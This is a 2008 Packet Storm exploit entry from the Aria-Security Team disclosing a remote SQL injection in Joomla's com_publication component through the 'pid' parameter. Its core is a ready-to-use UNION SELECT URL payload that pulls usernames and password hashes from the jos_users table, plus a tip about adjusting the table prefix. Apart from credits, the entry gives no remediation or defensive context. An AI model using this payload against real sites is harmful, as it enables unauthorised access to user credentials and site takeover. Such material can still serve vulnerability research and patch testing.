joomlapub-sql.txt

2008-02-25T00:00:00
ID PACKETSTORM:63990
Type packetstorm
Reporter The-0utl4w
Modified 2008-02-25T00:00:00

Description

                                        
                                            `Aria-Security Team (Persian Security Network)  
http://Aria-Security.Net  
-------------------------------  
Shoutz: Aura, imm02tal, Kinglet, iM4n  
  
Joomla Com_publication "pid" Remote SQL Injection  
  
index.php?option=com_publication&task=view&pid=-9999999+union/**/select+0,username,password,0,0,0,0/**/from/**/jos_users/*  
  
note: the prefix (jos_) maybe different for each website...  
  
Regards,  
The-0utl4w  
Credits Goes to Aria-Security Team  
`